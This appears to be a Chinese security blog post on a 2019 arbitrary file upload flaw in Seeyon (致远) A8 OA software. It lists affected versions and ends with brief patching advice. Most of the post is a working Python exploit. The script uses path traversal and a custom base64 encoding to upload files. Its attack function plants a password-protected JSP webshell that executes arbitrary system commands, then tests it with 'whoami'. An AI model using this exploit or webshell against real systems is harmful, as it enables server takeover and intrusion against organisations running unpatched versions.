致远OA getshell POC&EXP

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致远OA getshell

2019年6月26日,网络中出现致远OA的0day漏洞信息。
该漏洞可造成任意文件上传,恶意攻击者通过精心构造POST数据来上传JSP Webshell,提升服务器权限,从而控制服务器或对系统造成破坏。

漏洞等级

影响版本

  • 致远A8-V5协同管理软件 V6.1sp1
  • 致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
  • 致远A8+协同管理软件 V7.1

确认是否存在漏洞

查看 "seeyon/htmlofficeservlet",出现如下内容则表示存在漏洞

致远OA getshell POC&EXP

致远OA getshell POC&EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import time
import random
import string
import requests

info = {
"name": "致远 A8 可 getshell",
"author": "reber",
"version": "致远A8-V5协同管理软件V6.1sp1、致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3、V7.1",
"type": "file_upload",
"level": "high",
"result": "",
"status": False,
"references": "<url>",
"desc": "<vul describtion>",
}

def assign(service, arg):
 if service == 'seeyon':
 return True, arg

def encode(origin_bytes):
"""
重构 base64 编码函数
"""
# 将每一位bytes转换为二进制字符串
base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
base64_bytes = ['{:0>8}'.format(bin(ord(b)).replace('0b', '')) for b in origin_bytes]

resp = ''
nums = len(base64_bytes) // 3
remain = len(base64_bytes) % 3

integral_part = base64_bytes[0:3 * nums]
while integral_part:
# 取三个字节,以每6比特,转换为4个整数
tmp_unit = ''.join(integral_part[0:3])
tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
# 取对应base64字符
resp += ''.join([base64_charset[i] for i in tmp_unit])
integral_part = integral_part[3:]

if remain:
# 补齐三个字节,每个字节补充 0000 0000
remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8
# 取三个字节,以每6比特,转换为4个整数
# 剩余1字节可构造2个base64字符,补充==;剩余2字节可构造3个base64字符,补充=
tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='

return resp

def verify(arg):
url = arg + "/seeyon/htmlofficeservlet"
tmp_random_str = ''.join(random.sample(string.letters+string.digits, 10))
headers = {
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Content-Length": "429",
}
file_name = encode('..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\shXi3GAEuT.txt')
payload = "DBSTEP V3.0 355 0 10 DBSTEP=OKMLlKlV\r\n"
payload += "OPTION=S3WYOSWLBSGr\r\n"
payload += "currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r\n"
payload += "CREATEDATE=wUghPB3szB3Xwg66\r\n"
payload += "RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r\n"
payload += "originalFileId=wV66\r\n"
payload += "originalCreateDate=wUghPB3szB3Xwg66\r\n"
payload += "FILENAME={}\r\n".format(file_name)
payload += "needReadFile=yRWZdAS6\r\n"
payload += "originalCreateDate=wLSGP4oEzLKAz4=iz=66\r\n"
payload += "a{}".format(tmp_random_str)

try:
requests.post(url=url, data=payload, headers=headers)

upfile_url = arg+"/seeyon/shXi3GAEuT.txt"
time.sleep(2)
resp = requests.get(url=upfile_url)
code = resp.status_code
content = resp.text
except Exception as e:
# print str(e)
pass
else:
if code==200 and tmp_random_str[1:] in content:
info['status'] = True
info['result'] = "{} 可直接getshell, 测试文件路径: {}".format(arg,upfile_url)

def attack(arg):
url = arg + "/seeyon/htmlofficeservlet"
headers = {
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Content-Length": "429",
}
file_name = encode('..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\qwer960452.jsp')
payload = """DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV\r
OPTION=S3WYOSWLBSGr\r
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r
CREATEDATE=wUghPB3szB3Xwg66\r
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r
originalFileId=wV66\r
originalCreateDate=wUghPB3szB3Xwg66\r
FILENAME="""+file_name+"""\r
needReadFile=yRWZdAS6\r
originalCreateDate=wLSGP4oEzLKAz4=iz=66\r
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("el38A9485".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce"""

requests.post(url=url, data=payload, headers=headers)
resp = requests.get(arg+'/seeyon/qwer960452.jsp?pwd=el38A9485&cmd=cmd+/c+echo+ekwjkjrwre')
if 'ekwjkjrwre' in resp.text:
print "{} 的 webshell 路径: {}".format(arg,arg+'/seeyon/qwer960452.jsp?pwd=el38A9485&cmd=cmd+/c+whoami')
致远OA getshell POC&EXP
致远OA getshell POC&EXP

修复建议

  1. 通过 ACL 禁止外网对“/seeyon/htmlofficeservlet”路径的访问。
  2. 官方补丁
  3. 请尽快联系致远官方,索要官方漏洞补丁程序。

作者:wyb0 via